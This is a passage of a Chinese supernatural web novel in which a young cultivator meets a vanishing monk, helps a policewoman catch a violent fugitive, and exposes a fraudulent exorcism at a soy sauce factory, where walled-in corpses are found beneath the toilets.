“哈哈哈,早年是,后来还俗了。如今嘛,是一介散修。不修术法,修的是自我。”老和尚大笑,随后又问我,“吃了这香酥糕,喝了这断俗茶,你现在是不是觉得好多了。”
闻言,我愣了愣,“方丈,您还别说,我突然觉得浑身都轻松了不少。”
我很惊讶,这段时间以来,我总觉得时间过得匆匆,好像一不留神几个月就过去了。
而在这期间,我虽然对待事情都很平淡,却莫名的带着一丝说不出来的情绪,有点像是很急,做什么事都有些急躁,但‘急躁’也不贴切。
但吃了这香酥糕,喝了老和尚的茶叶之后,我突然就恬静了下来,那种不适应的情绪,刷的一下就不见了。
整个人有种说不出的轻松。
老和尚笑道,“年轻人,你身上的业力太过复杂了,原本你无法承受的,但你机缘好,悟性高,破了这局。”
我微微一怔,我知道这老和尚是个高人,却没想到如此高,一眼竟然看穿了我的经历。
我没说话,又喝了一口那茶,老和尚笑了笑,突然拍了拍我的颈椎,后背,腰部,每个地方三下,总共九下。
我浑身酥酥麻麻的,像是触电了一样,原本只觉得浑身轻松,现在是有种精神焕发的感受。
老和尚又说,“你帮我去了趟派出所,省了我麻烦,我送你这场机遇,散了那古人的业力。以后,你就是你了。”
轰。
听了这些话,我有些毛骨悚然,那个家伙不是烟消云散了吗?怎么还在?
我忍不住问道,“方丈,您是在我身上看到了什么嘛?”
方丈摇头,“没有,我修的是心,看不到任何东西。我说的话,你可以理解成不是我说的,而是我心说的。”
我点了点头,似懂非懂。
方丈笑了笑,又说道,“年轻人,你的悟性极高,但见识短,这就导致你听我的话一知半解。书中有黄金,有颜如玉,那是因为文字的力量是无穷的。而真正的见识,是你看过为真。送你一句话,你的道,应是眼见为实。”
我还是没听懂,但我却把这些话记在了心里面,这老和尚很不一般。
好不容易遇到了一个能指点我的人,我想问的东西非常的多,但到最后,却只问了一件事,我说,“方丈,我有件事很好奇,希望方丈能给我解密。”
他笑眯眯的,“说。”
我问他,“方丈,我见到了摆渡人,她送走了一个小纸人,那纸人曾是古人中立过庙的武将,这样一人,却胆小如鼠,贪图人间吃喝,我很不理解。”
小纸人给我带来的冲击很大,要不是雷劫突然来了,我可能还在想她的那些事。一个威风凛凛的武将,怎会变成那种阴暗的小人。
方丈笑了笑,“人有七情六根,而世间的修行之人,总想着斩掉情根证道。如此,便有了欲。佛祖还有三千发丝呢,你看他斩了吗?好了,你该走了。”
闻言,我也没在久留,而是出了这小院。老和尚没送我,而我刚走出来却突然想问那茶叶在哪买的。
一回头,我愣住了,那根本就没有小院,那是一块空地,至于老和尚?我没看到老和尚,道上有一对夫妻正带着孩子在那玩雪。
见我看他们,夫妻俩面面相觑,把孩子带去远处玩了。那是把我当成人贩子了。
然而,我却没心情猜这夫妻俩的想法,因为眼下我脑子很乱,根本不知道发生了什么事。
……
第四十六章愿力
我在这地方转悠了好一会儿,然而这老和尚就像是不存在一样,最后也没看到他。
说真的,这可比佛像转身,阴间码头惊悚多了,那可是一座院子,一个活脱脱的人,凭空就消失了。
但事实就是,这个事发生了,我只能去接受。自从喝了老和尚的那茶,我倍精神,明明一个晚上都没吃东西,眼下一点也不饿。
索性,我准备回黑城了。但有些事,真的是无巧不成书,我又碰到了派出所那女的,她在这一片巡逻。
“咋又是你?”女人也很惊讶。
“你好。”我打招呼。
“你这是要去啥地方吗?找不到路?你可以问我,我告诉你。”女人说道。
“没有,我打算回黑城了。”我摇头。
“你家是黑城的啊,我家早年也在黑城的,我们是老乡呢。我叫宋雪,你要是回老家的话,能不能帮我给我发小捎点东西。”宋雪朝我伸手,倒是很有礼貌。
捎点东西这种事,在我们东北随处可见,我倒是没觉得有麻烦。但她毕竟是个陌生人,虽然是派出所的,但我也不太想认识。
“目标出现了,在那呢。”而就在这时,宋雪的同事突然走了过来,然后示意江边不远处。
在那,站着一个彪形壮汉,他裹着棉衣,戴着狗皮帽,围着个大红围脖,一双凶狠的眼睛直勾勾,迈着大步往前走,走得非常急。
“走,咱们跟上去。”宋雪摸着腰说道。
“这,咱们还是先上报吧,这家伙可是危险人物。有几个兄弟都受伤了。”男的谨慎道。
这年头的通讯设备可不太方便,巡逻用的都是对讲机,一旦出了状况,一个人负责跟踪,另一个人就得回去叫人。
“行,你回去叫人,我跟着。”宋雪点了点头,悄悄地跟了上去。
而那男的也不废话,直接往所的位置走。我看了一眼宋雪,又看了看他跟着那壮汉,从体型上看,两人就不是一个级别的。
我双眼用力,宋雪的头上淡黄,寓意着她是好运气,而在那淡黄中,带着一丝黑红色,那是血光之灾,她要倒霉了。
我不是什么算命的,但我心里很清楚,这血光之灾肯定跟那壮汉有关系。
“宋小姐,你最好不要跟过去。”我觉得这人还不错,何况是这种身份,出于我是人民的想法,还是劝了一句。
“谢谢你的好意,你最好别跟过去,这人是危险的犯罪分子。”宋雪摇了摇头,准备行动了。
“宋小姐,我说的是真的,你有血光之灾。你现在上去,要倒霉的。”我说。
闻言,宋雪的脸色变了,她不在和和气气,瞪了我一眼,“闭嘴,行了,不要妨碍我行动。”
说完宋雪就摸了上去。
我摇了摇头,果然有些时候不能好心,因为好心反而会被人误会。
我正打算要走,结果宋雪那边就出事了。她跟了没几步,壮汉那边就发现了,转身进了一个胡同,接着我就听到了宋雪的惨叫声。
周围的人也都听见了,四处观望,一脸懵逼的,他们不知道发生了什么,那清澈的眼神是想找到声音来源看热闹。
我犹豫了一秒,但本着遇到三次老乡的缘分,默念一个‘行’字三步来到了胡同里。
此刻,宋雪已经被打倒在地上,利刃刺穿了她的手臂,脸上也有淤青。再看那壮汉,手里面拿着一把军刺,死死地架在她脖子上,宋雪拼命地反抗。
“臭娘们,凭你也想弄我,看我不弄残你。”壮汉嘶吼,眼神凶狠,眼看宋雪就要出事。
我眯了眯眼睛,一脚用力腾空而起,脚下的砖头碎成粉末,瞬间就来到了壮汉面前,一脚过去,把他踹飞在了墙上。
“你没事吧。”我问了一句宋雪,眼神却死死盯着那壮汉。
我又眯了眯眼睛,刚才那一脚虽然没有全力,但放在寻常人的身上,绝对会瘫在那起不来。然而这家伙却很轻松地站了起来,他盯着我,一时间也没敢轻举妄动。
“你快走,这个家伙不是你能对付的。”宋雪急忙站了起来,站在了我跟前。
然而,我却把她拉开了,她还在诧异,那壮汉拿着军刺就刺了过来。说时迟那时快,我一个侧身,那军刺在我眼前穿过。
这壮汉朝我看了一眼,我们面对面,他一脸的惊讶,不可思议我居然能躲过去。
这一下完全是奔着我脑子过来的,这家伙是想要我的命。我不在留手,运转道力,一个扎马步,蓄意拳头,一拳轰在了他脑子上。
咣当。
没错,就是这个声音,在我拳头跟他脑袋碰撞的一瞬间,像是有东西敲铁盆。
而我眼看着壮汉倒在了地上,他睁着眼睛晕死了过去。
宋雪倒是一个眼尖手快的主,见壮汉倒下了,她立马掏出了手铐拷住罪犯,完事才惊讶地说道,“好身手,你也练过武吗?”
我奇怪,“这个罪犯练过武?”
她点了点头,“嗯,据我所知,他曾是市队冠军,还当过佣兵。后来这里出了问题,杀了人,我们一直通缉他。”
宋雪指了指太阳穴,意思这人脑子有问题。
我审视着倒在地上的罪犯,怪不得刚才那一脚他居然抗住了,原来是真有本事。
我摇头道,“凑巧吧。要是没什么事,我就先走了。”
宋雪急忙说道,“他是通缉犯,你帮我抓住了他,能拿到一万块的奖励。”
一万块,在这时代绝对不是一个小数目,由此可见这个人的犯罪分量。虽然我脑子里很快就形成了一个赚钱的思路,但我又很快地否决了。
我是修道的,我觉得我应该去抓妖才对,抓罪犯赚钱?那我还修个屁了。
我拒绝了,主要我还是觉得麻烦,但宋雪却拉着我不让我走,跟她商量了,我成了热心市民。
而她嘛,成了英雄。
然而意外的还在后面,我拿到了一万块,等我从派出所出来,突然感觉到了一丝怪异。
好像有什么东西没入了我体内,之前似乎也有这种状况,就是帮那老和尚报警的时候。
但那会我迷迷糊糊的,也没当回事。我脑子里灵光一闪,我伸出了时候,那阴莲花出现在了我手里,正在闪闪发亮。
我在里面竟然看到了无数光点,如同萤火虫似的发光,仔细看去,这些光点竟然是无数个芝麻大的小人,他们有的磕头,有的鞠躬。
其中,我竟然看到了那个冻死之人下跪虔诚的场景,也看到了宋雪高兴的场景。
我突然明白了过来,这个就是愿力。
……
第四十七章开坛
我想到了什么,意识潜入到了阴莲花之中,果然,正如我想的那样,那种滋养更舒服了,像是泡了温泉一样。
宋雪因为立了大功,成了英雄,所以她要留我吃饭。这次我倒是没推辞,我意识到,虽然修道的人总是独来独往,但是多认识一些人不见得是坏事。
比如这次来哈城,我从安国强那走了之后,连个待的地方都没有。本着多条朋友多条路的想法,我答应了下来。
中午,宋雪又带了个人一起来的,这是个女人,同样漂亮的女人。她叫杨敏,宋雪的闺蜜,看那穿着打扮,一看就知道不是什么普通人家。
聊天的过程中才知道,她家是开私人酱油厂的,但最近似乎遇到了一些麻烦,说是厂里面总有人半夜听到哭声。
我笑了笑说道,“宋小姐,我明白了,你是想让我帮忙看看对吧?”
我恍然大悟,一开始宋雪问我是不是道士,我当时以为是因为仙人跳那事呢,原来根本原因在这呢。
宋雪有些不好意思地说道,“冯宁,我这身份特殊,有些事不能明说。但从见你的时候,就觉得你很与众不同。那个女罪犯是我审的,她很怕你,说你会写符箓,然后她就什么都不知道了。当时我觉得你应该就是说的那种道士。然后你降服了那个穷凶极恶的罪犯,我就更确定了。”
我点了点头表示理解,因为一直以来,道统都没有个明确的说法,所以她不能明说很正常。
我想了想,我并不是道士,而是个方士,两者上有着很大的不同。所以,我不能承认自己是道士,也不想去说自己的真实身份,因为本来很简单的一件事,解释起来就复杂了。
所以我就点了点头,模棱两可的敷衍。
“太好了,大师,那你能去我家的酱油厂看看嘛?我给钱,只要能看好,多少钱都行。”杨敏微笑看了看我。
说实话,这个女人给我一种大家闺秀的感觉,她说的话听起来很激动,但你看向她,她永远都是那种淡然的模样。
“钱就算了,你家有没有文献资料,越老的资料越好。”我说道。
“有,但都是些杂文。”她倒是诚恳。
“好,到时候借我看看就行,我不要。”我想了想说道。
“好。”
…
吃过饭,宋雪有事就先走了,而后我跟杨敏约在了他家的酱油厂见面。
大约下午三点多,我们来到了哈城房区。这边离市中心可不近,有点类似于郊区。而建筑风格嘛,有点像是个县城。
以大商场为主干,四通八达的这么个地方。我们去的位置还要偏一些,这边全都是厂子,再远一点就是黑土地了。
大阳酱油厂,这是我们来的厂区,地方很大,很宽,占地面积不小。一进去,门口的保安给杨敏敬礼,喊了句杨小姐。她笑了笑,看上去并不在意,然后带我逛了一圈。
我不是什么风水师,看来看去,貌似也没发现什么问题。而在这时,有人送来了两瓶水,他叫方为,三十来岁,说是厂子里的副总。
刚过来,杨敏就小声地告诉了我。他一上来就问杨敏,“杨小姐,这位是?”
杨敏微笑,“方副总,他叫冯宁,这段时间厂子里不总是有问题吗?他是这方面的专家,来帮我们看看。”
闻言,方为朝我笑了笑说道,“原来是大师,幸会幸会。我叫方为,是咱们厂子的副总,大师有什么问题可以问我。”
我点了点头,心里面也有些惊讶,三十多点当一个厂子里的副总,这人已经很厉害了。
虽然这样想,但我却依旧表现得很平静,倒不是装那个大师的范,而是我觉得他厉害,又觉得没什么。经历多了,好多事情不习惯言表。
我说道,“方副总,我刚才转了一圈,也没发现什么不同的地方。还请说说状况。”
方为笑了笑,“大师,其实也没什么大事,就是最近晚上,厂里的人说总听到有人哭,大家找遍了,也没发现是什么地方。后来,听人说半夜在厕所见到了人脸,再后来又问那人,他又说没见过。就是这样了。”
人脸?我看了杨敏一眼,她摇了摇头,显然不知道这件事。
而我看向了方为,他似乎有些意外,很显然他并不知道杨敏也不知道这事。
方为笑道,“杨小姐,你还不知道呢?”
杨敏摇头,“不知道,方副总,上次你也没说啊。”
方为诚恳道,“杨小姐,实在抱歉,我以为你知道呢。而且,有些事我们只能私下说,要是全都传出去对厂子不好。”
杨敏点了点头,“确实如此,风言风语的,你做得对。”
得到了杨敏的认可,方为笑了笑,他又说道,“杨小姐,你放心吧,我已经找人来处理了。我问了,其实那不是什么人叫的声音,咱们这边有狐狸,应该是狐狸。我找了我们家那的大师,保证没事的。”
说完,这边又走来了一个人,一眼望过去,这人约莫四十来岁,国字脸,倒是有几分的气势。他个子一米七左右,中规中矩,戴着个金丝眼镜,脸上看不出喜怒哀乐。
在这人身后还跟着六个人,这些人穿着大棉袄,捂得严严实实,毕恭毕敬。
“杨小姐,我给您介绍一下,这位是徐飞鸿大师,测字命名风水破事,那是样样精通。在我们,但凡提到大师的名字,没有东西敢闹事。”方为笑着介绍道。
“大师您好。”杨敏点了点头,但没什么动作。
徐飞鸿见状,笑了笑说道,“杨小姐放心,我已经算过了,就是几只不长眼的狐狸,想在这装神弄鬼,得到点好处。我今晚开坛做法,保证明日厂子里就清净了。”
说完,徐飞鸿瞥了我一眼,轻蔑地撇了撇嘴。
“那就麻烦大师了。既然这样,方副总,这边交给你们了,我跟朋友转一转。”杨敏说完突然挽住了我的胳膊,等我们走出了一段距离,她突然侧脸问我,“大师,真的是狐狸吗?那个徐飞鸿,你觉得靠谱吗?”
很显然,杨敏并不相信方为。
我想了想,突然想到了老和尚的一句话,眼见为实,我说道,“他们不是要开坛做法吗?那就麻烦杨小姐给我安排个住处了,我晚上也学学怎么开坛做法。”
杨敏似乎没想到我会这样说,噗嗤一下笑了出来,我疑惑地看着她,不知道她为啥笑,杨敏急忙说道,“冯宁,我觉得你,特别有趣。好,我办公室和宿舍都是挨着的,晚上你住我宿舍,我住办公室,我也学习学习。”
我纳闷,她又不是道士,能学到啥?然而等到了晚上,我才知道这件事有多惊恐。
学?杨敏差点没吓死。
……
第四十八章我又不会飞
方为那边给的消息,晚上八点十五徐飞鸿开坛,等在厂子里的食堂吃过晚饭,那才晚上六点多,但那边已经开始准备了。
开坛做法的用的桌子,四只小黑狗,一只大公鸡,黄布,道袍,一堆符箓,四个大坛子,铜钱剑,红绳等等。
给我的感觉就是东西特别齐全,有的玩意连我都没见过。
“冯宁,你要干啥去?”离开坛还有一段时间,我打算出去走走,结果杨敏突然拦住了我。
“我想四处看看。”我真正的目的是打算看看四周有没有狐狸的气息,但我没有说,所以敷衍了一句。
“带上我呗,我也想去溜达溜达。”杨敏眨动着漂亮的眼睛。
我看了她一眼,有点纳闷,外面是黑土地,眼下寒冬腊月,雪都有半米高,她凑什么热闹?但我点了点头,人家地盘,我总不能拦着。
说实话,有时候带个人就很麻烦,特别是一个女人。一冬天的雪,半米多高,我因为修道的原因,‘行’字真言,走在上面连雪脚印都没有。
但杨敏不行啊,她虽然也不重,但一踩就陷了进去,然后找我帮忙。我拉了她一把,也踩在了雪上面,结果她用一种极为诧异的眼神盯着我。
“杨小姐,你没事吧?”我奇怪地用手在她眼前晃了晃。
杨敏回过神来,表情依旧惊讶,“冯宁,你是怎么做到的?”
我疑惑,“啥咋做到的?”
她奇怪,“你自己没发现吗?”
我摇了摇头,她这眼神有点像第一次见黎雅的时候,就是这样看我的。我觉得她很莫名其妙。
杨敏深吸一口气,“没,没事了,我们往哪走?”
我心想,这女人真是莫名其妙,早知道就不带她了,浪费时间。
但人都来了,总不能叫她回去,我指了指前面说道,“那边。”
然后也不管她什么反应,我默念‘行’字真言,四五步就出去二十米。
等到了地方,杨敏死死地盯着我,半天说不出一个字。我摇了摇头,也不知道这女人想啥,自顾自地查了起来。
松开了拉着杨敏的手,她又陷入到了雪里,我四处查看,哪怕百米开外,周围都没有狐狸的脚印,更别提狐狸的气息了。
我猜测,徐飞鸿和方为两人当中,最少有一个在撒谎,也可能是两个人都撒谎。
等我回到杨敏身边,她瞅我的眼神变了又变,她指了指我刚才去的地方,又指了指我,那漂亮的五官快挤在一起了。
我奇怪,还以为杨敏看到了啥,急忙问,“杨小姐,你是不是看到了啥?在哪呢?”
杨敏狠狠地咽了口吐沫,半天才说道,“冯大师,你是怎么做到的?在雪上飞?”
我疑惑,“啥在雪上飞?”
杨敏深吸一口气,最后摇了摇头,“没啥,冯大师,你发现啥了吗?”
我觉得莫名其妙,这女人怎么说半截话,但我也没放在心上,而是认真道,“问题应该不是出在狐狸身上。”
随后我回头看了一眼厂子的水泥墙说道,“你们厂里面的厕所应该是室外的吧?”
杨敏点了点头,“嗯,就在那?墙有问题吗?”
我摇了摇头,“看看才知道。”
这年头的厕所几乎都在室外,当然室内也有,但像厂子这种地方,那种室内厕所大多数都是领导用的。
东北这边经常刮的是北风,我们在南墙,所以墙根下的积雪少。在杨敏的指引下,很快到了厕所的位置。
刚才我也来过这,但因为观察得不仔细,所以没什么感觉。等我真的站到这位置以后,一股股冷风吹的我有些不舒服。
不对,这不是冷风,这是阴风,因为冷风只是刺骨,而阴风吹在人身上会不安,会烦躁,两码事。
“啊啊啊!”然而就在这时,杨敏突然大喊,我回头看过去,她惊恐地倒在雪堆上指着墙。
我急忙走了过去,“怎么回事?”
杨敏额头上全是冷汗,她一只手抓住我的胳膊,另一只手指着墙,连一句完整的话都说不出来,“脸,脸。”
我明白了,“你是说你在墙上看到了人脸?”
她用力地点了点头,“是。不,不是。”
看着她惊慌失措的表达,我眯了眯眼睛,朝着她指的墙面看了过去。然而,除了冷风吹起来的雪花,一片寂静,什么都没有。
要是换做很多人,一定会觉得杨敏小题大做,或者是看错了。但我不能那样做,老和尚的那句眼见为实,对我影响深远。
我眼见为实,那其他人呢?人家也可以眼见为实。只不过我没看到,但不能否认这件事不存在。
这就是我的一个逻辑思维,而在我们这些修道者而言,想要获得更大的机缘,必须要有这种思维。信他人所不信的,真假自行判断,而不是被蛊惑。
“有我在,你不要怕,我先问你,那人脸还有吗?”我双手结印,心中默念清心,一个‘道’字真言。
杨敏的情绪果然好多了,但她还是依旧后怕地咽了口吐沫,拉着我的胳膊,“现在看不见了。”
我又问,“你刚才看到了啥?”
闻言,杨敏有些胆怯地躲在我身后,指着那面墙,不敢去看,“一张人脸,还有一双手,半个身躯,它在往上爬,嘴里面还冲我吼着什么。但,但我听不到它说话。”
杨敏的话验证了一件事,人在受到惊吓的时候,注意力真的非常集中,她连那张脸在说话都看得清楚。
我沉思了一下,运转道力,双眼用力朝着那墙面看去。然而看了半天,却什么都没看到。
我深吸一口气,散去了道力,随后,我想到了一个词问向了杨敏,“杨小姐,你是不是看到了那墙上的人影在蠕动。”
杨敏点了点头,“对,是蠕动,就像是这样。”
她还学了一下,一双手像是按在了墙上,那脸拼命地想要穿破那墙似的。
“好,我们可以回去了。”我点了点头,心中大概有一个范围。
“冯大师,我们就这样走了吗?”杨敏心有余悸地说道。
我点了点头说道,“杨小姐,我知道你想说啥,你想我能不能收服那东西。但我可以明确地告诉你,这东西很不简单。我想,等会就会有办法了。”
杨敏很信任我,没在说话,我带着她,默念‘行’字真言,几步就到了酱油厂门口。
结果刚进来,杨敏突然来了一句,“冯宁,你刚才为啥不带我从墙那边跳进来,那样子不更快吗?”
我奇怪地说道,“这墙有三米高吧,我又不会飞,咋跳过去。”
……
第四十九章开坛做法
杨敏咬了咬嘴唇,那样子像是受到了莫大的委屈,她用力地吸了口气,然后说道:“好吧,你确实不会飞。我去洗一把脸。”
说完她就朝着办公楼走了过去,结果走到一半,她又回来了看着我,“冯宁,你能陪我一起去吗?我害怕。”
说实话,我觉得她事多,不就一个人脸吗?有啥的。但我觉得这姑娘人不错,也就跟着去了。
在杨敏洗完脸后,开坛做法的那边场地已经布置完了,方为还刻意的找我们去看看。准确地说,他是来找杨敏的。
在厂区的那边,也就是室外厕所的那一侧空地,坛场已经布置好了。除了我之前说的那些东西,四周还拉了道旗。
那徐飞鸿的六个徒弟,三男三女,其中两男两女分别站在道旗附近。
另外一男一女,站在徐飞鸿身后,女的手里拿着宝剑,男的拎着大公鸡,而徐飞鸿则是站在最前面,换上了一身黄袍。
这一身的打扮,倒是有点像电影里面的情节。当然,这样说有点倒反天罡了,应该是电影里模仿了道门的一些打扮才对。
厂区的员工都走了,留下来的,或者说能在这看热闹的人,基本都是厂里面的管理层。
不难看出,大家都很严肃,连窃窃私语的都没有。这年代在东北碰到这种事,其实大家心里面都没谱。
徐飞鸿往前迈了一步,手里突然多了一道符箓,他左手食指中指夹着符箓在上,右手同样动作拖着左手,成‘十’字,嘴里面念叨着,“祖师在上,玄孙徐飞鸿,拿人钱财,替人消灾,祖师助我破邪魔,急急如意令。”
轰。
随着话音落下,那符箓突然就烧了,然后他朝着坛上一扔,坛上的两根红蜡烛突然就被点着了,看的大家目瞪口呆。
“杨小姐,徐飞鸿大师那是真有本事的人。我这一万块,花的值得。还望杨小姐在杨总面前,帮我美言几句。”方为突然朝着杨敏说道。
虽然这话有些邀功,但从这个副总嘴里说出来,却显得很正常。你看不出他在溜须拍马,也看不出来他是不是故意这样说的,总之,这个人给人的感官非常好。
只不过,方为再说这些话的时候,他却瞥了我一眼,那眼神里没有任何情绪,但我却觉得有点阴鸷。这个人不像表面那样的老实。
我本以为杨敏会敷衍两句,结果她却来了一句连方为都措手不及的问话,“那,这徐飞鸿大师会飞吗?”
方为诧异,“飞?这个,杨小姐,徐大师是道士,道士也就能捉过除妖,肯定不能飞的。”
杨敏瞥了我一眼,我觉得奇怪,她不会认为我会飞吧?
方为似乎以为我说了啥,他笑眯眯地看向我,“冯大师,难不成,你会飞?”
我立马否决,“方副总,你想多了。我不会。”
闻言,方为点了点头说道,“那就好,冯大师,我们酱油厂虽然小,但也有些能量。我家杨小姐秉性单纯,有我在,不是谁都能欺骗的。”
我皱了皱眉头,这些话听起来很不舒服,但我没较真,而是继续观望开坛那边。
徐飞鸿又动了起来,他用宝剑割了那大公鸡的脖子,然后把血撒在了黑狗身上。
然后一个弟子牵着黑狗在厕所那转来转去,也不知道多久,真的就听到了狐狸叫声。隐隐约约的,似乎在求饶。
说实话,原本开坛做法我都没看出啥问题来,但这狐狸声,那就有些假了。
然而我感觉到了不对劲,不代表其他人觉得不对,其中有人面露惊恐,指着半空说道,“狐狸,真是狐狸,你们看。”
抬头看了过去,还真有一道狐狸的身影在那,零零散散的,若隐若现。
很快,这场开坛做法就结束了,徐飞鸿换下了道袍,来到了方为面前,“方副总,解决了。”
方为立马说道,“大师果然是大师,连我都看到了那狐狸,您是真有本事。您放心,我这就跟你去拿尾款。”
说完,方为就要带着徐飞鸿去办公楼拿钱,结果杨敏却突然拦住了他们,“徐大师,不对,不是狐狸。”
徐飞鸿皱了皱眉头,“杨小姐,你不是道士,你不懂,就是狐狸作祟。这种事在我们县里面常见。”
杨敏绣眉轻拧,“我说不是就不是,因为我见过那东西,就在厕所的墙上,是一张人脸。”
徐飞鸿和方为都愣了一下,方为急忙说道,“杨小姐,这种事可不能开玩笑,您是不是听谁说啥了。那人我已经开除了。”
说到这里,徐飞鸿下意识地闭上了嘴,然后又急忙说了一句,“是杨总说的,那人影响团结,所以把他开了。”
杨敏脸色变了,她显然不相信方为的话了。我看到方为搓了搓手指,最后却把目光看向了我,用一种非常严厉的口吻说道,“哼,是不是有人在杨小姐面前说些没用的了。”
徐飞鸿瞥了我一眼,“我想起来了,你就是杨小姐找来的什么大师吧。年纪轻轻的,来这骗人?”
对于两人的人身攻击,我皱了皱眉头,没等我说话,杨敏却突然说道,“跟他没关系,是我亲眼看到的,就在厕所墙那块。不信你们看看。”
两人相互看了看,他们俩似乎有些心虚,但徐飞鸿倒是很能装,主动挪步道,“杨小姐,我徐飞鸿可不是浪得虚名,既然你要看,那就陪你看看。”
就这样,我跟着三人身后,一起来到了厕所那。结果看了半天,那里也没什么动静。
杨敏有些尴尬,她看向我,想着我帮忙把那东西弄出来。
而其他两人见状,那方为指着我说道,“哼,还不是你妖言惑众,蛊惑杨小姐。信不信我把你送进去。”
我有些无语了,倒不是因为杨敏,而是这方为说的话。他在这开坛,那才是封建迷信吧?现在居然扬言要把我抓进去。
“谁在抓我的脚,别闹。”说来也巧,他这刚扬言要把我抓进去,墙那边突然就有了动静,而说话的人是徐飞鸿。
大家听到徐飞鸿说话,也都急忙地看了过去,随后杨敏就抓住了我的胳膊,吓得脸色发白。
那方为扑通就瘫在了地上,看着徐飞鸿,身子不断后退的指着那墙角喊着,“脸,有脸。”
……
第五十章人柱
顺着方为的手指看了过去,这次我看到了,跟杨敏描述的一模一样,那墙上有一张人脸,正在拼了命的往外爬。
它蠕动的一双手,抓住了徐飞鸿的脚腕,像是要把对方扯进去。
杨敏也看到了,但应该是有了心理建树,虽然紧张,但只是躲在我身后,没有像第一次那样大喊大叫。
倒是徐飞鸿因为背对着,不知道发生了什么,还在那一脸诧异呢。
等他转过头去,‘妈呀’一声瘫在地上,一股淡黄色的尿液浸透了地面,因为是大冬天,尿液是暖的,热气腾腾的。
“救,救我。”徐飞鸿彻底不淡定了,他想去挣脱那双手,但无论怎么用力,却都没办法挣脱,他吓得朝我们救命。
然后,就看到了徐飞鸿的脚,竟然硬生生的被抓紧了墙里面。这一幕可是把大家都吓坏了,那方为更是撒腿就跑。
周围的人都散去了,徐飞鸿的六个弟子都在不远处,但很显然他们根本不知道发生了啥事,全都像是木头一样,老老实实地在原地。
“冯,冯宁,怎么办。”杨敏紧张地抓住我的手臂,那俏脸吓得发白。
结果不等我说话,徐飞鸿朝着我破口大骂,“艹,小比崽子,你特么还看,你不是有办法嘛,救我啊,瞅尼玛。”
我皱了皱眉头,以前虽然经常被骂,但那会是傻子,我不跟那些人计较。现在平白无故被骂,我心里有些不爽。
但随后,我却眼前一亮道,“杨小姐,我大致知道这是什么东西了。”
杨敏疑惑,“什,什么东西。”
我深吸一口气说道,“活人桩,这件事想要解决,需要有人进入到那桩内,找到那东西,然后挖开烧了就行了。”
活人桩,也叫打生桩,鲁班打生桩,民间叫做人柱。老爷子的笔记上有相关的记载,这是一种用活人祭祀的方式。
多用于桥梁上,古时候在桥梁道路建成之后,活埋童男童女祭祀,再后来多用在古墓陪葬。这是一种非常邪恶的封建迷信的术法。
至于眼前这厕所,应该不是什么古墓,看着衣品,肯定是个当代人,为啥被打生桩那就不得而知了。
“你,你特么想害死我啊!”徐飞鸿又尿了,另一只脚也被抓住了脚踝,被那双蠕动的双手疯狂地往墙里面拖。
不一会,徐飞鸿半个身子就进去了。
我觉得时机到了,一只手捏着道力,一拳轰在了墙上,那厚重的墙体漏了个大窟窿。
但眼下,徐飞鸿那半个身子却没在墙里面,而是在墙下面,与那水泥牢牢地困在一起。
“救我,救我,好疼啊,疼啊。”徐飞鸿咧着嘴,再也没了刚才的嚣张劲,他那腰上已经有了血痕。
闻言,我没什么反应,转身朝着身后的坛口走了过去,随手取了三张黄纸,用鸡血在上面画了咒语,等折返回来,一张贴在了徐飞鸿的脑门上。
“你,你又要干什么,救我啊。”徐飞鸿都快哭了。
“我问你什么,你说什么,要不然,死。”我平静道。
“你说,你快说,只要能救我。”徐飞鸿哭腔道。
“它是不是还在往下拉你?”我问。
“是。”徐飞鸿点头。
“好,这是力气符,你尝试往上爬,应该能挣脱。”我说。
听了我的话,徐飞鸿哪里还敢有半点的犹豫,拼了命的往上挣脱,大约七八分钟,他还真的自己爬上来了。
只不过等他上来以后,看上去有些滑稽和古怪,他的半个身子被水泥裹着,腰跟脚踝已经秃噜皮了。
“我,我没事了。”徐飞鸿大喜过望。
“哪有那么容易,打生桩,生不如死,永世不得见天日。被它盯上的人,就算你躲到天南地北,它都会追你。这么说吧,只要有墙的地方,它就存在。”我吓唬道。
“啊,那就是说,我只要挨着墙,它就会出现。”徐飞鸿毛骨悚然。
“是这样的。”我点了点头。
“那,那怎么办。”徐飞鸿的眼珠子瞪得跟牛铃似的。
“我这还有两张气力符,你自己,或者你找人贴在头上,顺着那个窟窿一直往下挖,把人柱挖出来,然后一把火烧掉就好了。”我淡淡地说道。
“好,我挖,我现在就挖。”说完,他把符直接贴在了自己的脑子上,随后把身上的水泥硬生生的拍碎了,一股脑的开始挖。
然而,似乎觉得太慢,直接叫来了他的几个徒弟一起干活。
“我,我们做什么?”杨敏盯着我问。
“你这能洗澡吗?我想洗个澡睡觉。”我说。
“能,我那有独立的卫浴。”杨敏点了点头。
看着越干越来劲的徐飞鸿,我面无表情地转身走了,我说的那些话,其实都是唬他的,就是想着来个免费劳动力。
随后,我跟杨敏回了她的住处,洗了个澡,我就准备睡了。
谁知道,刚躺下没几分钟,杨敏突然来敲门,说是害怕,问我能不能跟她一起睡。当然,她的意思是她睡沙发,我睡在床上。
我默念清心,然后结印,真言在她头上。她看上去好多了,也就回去自己睡了。
等到第二天一大早,突然有人敲门,见是我出来,那人有些愣神,问我杨敏呢?
杨敏起来,才知道这边出了啥事,厕所那挖出了四五具尸体,其中一个看上去很古怪。
大白天的,这种事倒是没那么害怕了,我跟杨敏赶了过去,现场站了不少人。
总共五具尸体,其中四个都半腐烂的状态,有男有女,而那第五具,活生生的,是个中年男人,脸上红扑扑的,那样子像是还活着。
他被一根铁链捆着,背后背着一个木柱子,姿势很怪异。
“那不是打更的老王吗?四年前的事了吧,不是说他跑了吗?”有人认出了一具上了年纪的尸体。
“我认识这个,她是小花,酱油厂还没搬过来,她就在这地场上班了。说是跟人私奔了,居然在厕所下面。”一个女员工喋喋不休。
很快,四具尸体的身份都被辨认了,但这第五具,鲜活鲜活的,结果没人认识。
说实话,这玩意我看着都有些惊悚。我很确认他已经死了,但他却栩栩如生,除了没睁眼,简直跟活人差不多。
我的建议是烧了,但这是尸体,不是我建议就能处理的,有人报了警,尸体都被带走了。后来听说都是意外死亡,也都是火化了。
当然,那些是后话,这边在尸体被拉走之后,有人在南墙那边发现了一个录音机拿了过来。
看到这玩意,刨了一宿厕所的徐飞鸿眼神闪躲。
……
第五十一章临摹小篆
九零年那会录音机还是稀罕物,但到了九四年录音机已经普及了。
就连我们黑城那边,几乎每个家庭都有一部。眼前的这部录音机体型比较大,用的是二号电池,杨敏伸手按了一下,喇叭里一股渗人的风声,然后就是狐狸叫。
“这声音有点熟悉,我想起来了,这不就是晚上的那个叫声吗?”有人听了出来。
